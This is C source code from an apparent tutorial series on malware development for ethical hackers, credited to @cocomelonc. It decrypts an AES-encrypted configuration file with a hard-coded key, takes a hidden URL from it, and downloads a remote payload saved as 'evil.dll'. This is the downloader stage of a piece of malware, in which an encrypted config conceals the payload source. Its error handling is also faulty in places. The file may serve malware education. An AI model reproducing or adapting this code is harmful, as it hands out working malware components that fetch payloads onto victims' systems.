/*
 * Malware Development for Ethical Hackers
 * hack.c
 * decrypt malware configuration file
 * and download DLL
 * author: @cocomelonc
*/
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>

#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)

void downloadFile(const char *url, const char *outputFile) {
  HINTERNET hSession, hUrl;
  DWORD bytesRead, bytesWritten;
  BYTE buffer[4096];

  // Initialize WinINet
  hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  if (!hSession) {
    printf("InternetOpen failed\n");
  }

  // Open URL
  hUrl = InternetOpenUrlA(hSession, (LPCSTR)url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
  if (!hUrl) {
    InternetCloseHandle(hSession);
    printf("InternetOpenUrlA failed\n");
  }

  // Open output file for writing
  HANDLE hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hOutputFile == INVALID_HANDLE_VALUE) {
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hSession);
    printf("failed to create output file\n");
  }

  // Read data from URL and write to the output file
  while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
    WriteFile(hOutputFile, buffer, bytesRead, &bytesWritten, NULL);
  }

  // Cleanup
  CloseHandle(hOutputFile);
  InternetCloseHandle(hUrl);
  InternetCloseHandle(hSession);
}

void decryptFile(const char* inputFile, const char* outputFile, const BYTE* aesKey) {
  HCRYPTPROV hCryptProv;
  HCRYPTKEY hKey;
  HANDLE hInputFile = INVALID_HANDLE_VALUE;
  HANDLE hOutputFile = INVALID_HANDLE_VALUE;


  DWORD len = strlen((const char*)aesKey);
  DWORD key_size = len * sizeof(aesKey[0]);

  // Open input file for reading
  hInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hInputFile == INVALID_HANDLE_VALUE) {
    return;
  }

  // Create output file for writing
  hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hOutputFile == INVALID_HANDLE_VALUE) {
    return;
  }

  // Cryptographic service provider
  if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  HCRYPTHASH hHash;
  if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
  }

  BYTE utf8ByteArray[32];
  strcpy((char*)utf8ByteArray, (const char*)aesKey);

  if (!CryptHashData(hHash, utf8ByteArray, key_size, 0)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
    return;
  }

  // HCRYPTKEY hKey;
  if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {
    CryptDestroyKey(hKey);
    CryptReleaseContext(hCryptProv, 0);
    return;
  }

  const size_t chunk_size = IN_CHUNK_SIZE;
  BYTE* chunk = (BYTE*)malloc(chunk_size);
  DWORD out_len = 0;

  BOOL isFinal = FALSE;
  DWORD readTotalSize = 0;
  BOOL bResult = FALSE;

  DWORD inputSize = GetFileSize(hInputFile, NULL);

  while (bResult = ReadFile(hInputFile, (LPVOID)chunk, IN_CHUNK_SIZE, &out_len, NULL)) {
    if (0 == out_len) {
      break;
    }
    readTotalSize += out_len;
    if (readTotalSize >= inputSize) {
      isFinal = TRUE;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len)) {
      CryptDestroyKey(hKey);
      CryptReleaseContext(hCryptProv, 0);
      break;
    }
    DWORD written = 0;
    if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {
      CloseHandle(hOutputFile);
      break;
    }
    memset(chunk, 0, chunk_size);
  }

  if (hKey != 0) {
    CryptDestroyKey(hKey);
  }
  if (hCryptProv != 0) {
    CryptReleaseContext(hCryptProv, 0);
  }
  if (hInputFile != INVALID_HANDLE_VALUE) {
    CloseHandle(hInputFile);
  }
  if (hOutputFile != INVALID_HANDLE_VALUE) {
    CloseHandle(hOutputFile);
  }

  free(chunk);
}

int main() {
  const char *encryptedFile = "config.txt.aes";
  const char *decryptedFile = "decrypted.txt";
  const char *encryptionKey = "ThisIsASecretKey";

  // Decrypt configuration file
  decryptFile(encryptedFile, decryptedFile, (const BYTE*)encryptionKey);

  // Read the URL from the decrypted file
  FILE *decryptedFilePtr = fopen(decryptedFile, "r");
  if (!decryptedFilePtr) {
    printf("failed to open decrypted file\n");
  }

  char url[256];
  fgets(url, sizeof(url), decryptedFilePtr);
  fclose(decryptedFilePtr);

  // Remove newline character if present
  size_t urlLength = strlen(url);
  if (url[urlLength - 1] == '\n') {
    url[urlLength - 1] = '\0';
  }

  // Download the file using the URL
  const char *downloadedFile = "evil.dll";
  printf("decrypted URL: %s\n", url);
  downloadFile(url, downloadedFile);
  printf("file downloaded from the URL.\n");

  return 0;
}
